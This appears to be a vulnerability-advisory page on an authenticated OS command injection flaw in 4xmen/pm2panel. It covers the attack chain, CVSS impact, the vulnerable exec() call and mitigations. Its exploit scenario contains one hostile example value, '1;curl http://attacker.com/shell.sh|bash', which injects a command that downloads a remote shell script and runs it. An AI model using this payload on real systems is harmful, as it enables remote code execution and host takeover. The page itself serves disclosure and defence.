Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain pm2panel credentials
-
DeliverySend crafted HTTP request with injected id parameter
-
ExploitShell metacharacter breaks out of pm2 restart command
-
ExecutionArbitrary OS command executes as Node.js process user
-
ImpactFull host compromise (read/write/execute)
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | The attacker must hold valid authentication credentials to the pm2panel web interface (CVSS PR:L confirms low-privilege authentication is required - unauthenticated exploitation is not possible). Once authenticated, no additional configuration, feature flag, or non-default setting is required; the vulnerable code path at pm2panel.js line 188 is exercised by any invocation of the 'restart' handler with a user-supplied 'id' query parameter, which is a standard operational function of the panel. Exploitation is limited by the requirement for valid credentials: if pm2panel accounts are restricted to trusted administrators only, the realistic attack surface is significantly reduced. The application must be network-reachable (AV:N), but no specific operating system, deployment mode, or third-party integration is required beyond a functional pm2panel instance. |
| Impact | The CVSS 3.1 score of 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) accurately reflects the severity: network-accessible, low-complexity exploitation requiring only low-privileged (authenticated) access, with complete confidentiality, integrity, and availability impact on the host. The PR:L metric is the primary limiting factor - an attacker must possess valid credentials to the pm2panel application. There is no EPSS score in the provided data to quantify exploitation probability, no CISA KEV listing, and no confirmed public proof-of-concept code, which tempers real-world urgency slightly. However, the simplicity of the injection - a straightforward query-parameter-to-exec concatenation - means the exploit barrier for any authenticated user is extremely low, and reproduction requires no specialized tooling. SSVC evaluation would likely yield Exploit=None, Automatable=Yes (once authenticated), Technical Impact=Total, suggesting organizations with untrusted or externally-facing pm2panel instances should treat this as a priority fix despite the absence of confirmed in-the-wild exploitation. |
| Exploit ScenarioDerived | An authenticated low-privileged user - for example, a developer with panel access - sends a crafted HTTP GET request to the pm2panel endpoint with a malicious 'id' parameter such as '1;curl http://attacker.com/shell.sh|bash', causing the server to execute the injected command with the privileges of the Node.js process. No specialized tooling or elevated access beyond valid credentials is required, making this trivially executable with a standard HTTP client or browser. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 10, 2026
OS command injection in 4xmen/pm2panel (all versions) allows an authenticated remote attacker to execute arbitrary system commands on the underlying host with the privileges of the web server process. The root cause is unsanitized user input concatenated directly into a Node.js exec() call in pm2panel.js at line 188, where the query parameter 'id' is appended to 'pm2 restart' without any shell escaping or allowlisting. No public exploit code has been identified at time of analysis, and this CVE is not listed in the CISA KEV catalog, but the attack is trivially reproducible given the straightforward nature of the injection point.
RemediationAI
No vendor-released patch has been identified at time of analysis - the fix version is not confirmed by any upstream release or advisory. Organizations running pm2panel should immediately restrict access to the interface to trusted internal networks or VPN-only segments, reducing the exploitable attack surface. As a direct code-level compensating control, the exec() call in pm2panel.js line 188 should be replaced with a child_process.execFile() or spawn() call using an allowlist of valid numeric or string process IDs, preventing shell interpretation entirely. Alternatively, input validation rejecting any characters outside [a-zA-Z0-9_-] on the 'id' parameter would block the known injection vectors, though this is less robust than eliminating shell interpretation. If pm2panel cannot be immediately patched, consider replacing it with a maintained alternative PM2 management UI. Monitor https://github.com/4xmen/pm2panel for upstream commits that address line 188.
Affected VersionsENISA
Affects your stack
Find out whether the stacks and servers you run are on an affected version.
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
pm2panel is a web-based management interface for PM2, the popular Node.js process manager, maintained by the GitHub project 4xmen/pm2panel. The vulnerability resides in the HTTP request handler in pm2panel.js at line 188, where the application constructs a shell command by string-concatenating an unvalidated user-supplied query parameter: exec('pm2 restart ' + req.query.id). This pattern is a textbook CWE-78 (Improper Neutralization of Special Elements used in an OS Command) flaw. Because Node.js's child_process.exec() passes the command string to the system shell (e.g., /bin/sh), an attacker can inject shell metacharacters such as semicolons, pipes, backticks, or $() subshells to chain additional commands. The affected CPE is cpe:2.3:a:4xmen:pm2panel:*:*:*:*:*:*:*:*, confirming all published versions are affected with no version bound from the upstream project.
Know when Pm2Panel gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Network-reachable endpoint requires low-privilege authentication; trivial shell injection yields complete host-level command execution with no scope change.
Primary rating from Vendor (TuranSec).
CVSS VectorVendor: TuranSec
DescriptionCVE.org
An OS command injection vulnerability in 4xmen/pm2panel (all versions) allows an authenticated remote attacker to execute arbitrary system commands on the host. The pm2panel.js handler at line 188 passes the unsanitized req.query.id parameter directly to exec('pm2 restart ' + id) without input validation or shell escaping, enabling command chaining via semicolons or other shell metacharacters.
Executive ViewAI
A command injection vulnerability in 4xmen/pm2panel (all versions) enables authenticated attackers to execute arbitrary system commands on the host with web server privileges, creating direct risk of data exfiltration, service disruption, and lateral movement into production infrastructure. Organizations relying on pm2panel for process management require immediate containment given the absence of available patches.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict pm2panel access to internal networks via firewall policies; (2) Deploy Web Application Firewall rules to block shell metacharacters and command separators in query parameters; (3) Implement application-level input validation sanitizing all parameters before exec() calls; (4) Enable detailed logging and alerting on system process execution tied to pm2panel; (5) Implement network segmentation to isolate pm2panel from critical production systems; (6) Limit pm2panel to read-only operations where possible via OS-level permissions; (7) Consider temporary service suspension if operationally feasible.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
EUVD-2026-55233
GHSA-m6fq-fq43-f9v8
NVD
CVE.org
EPSS
VulDB
Exploit-DB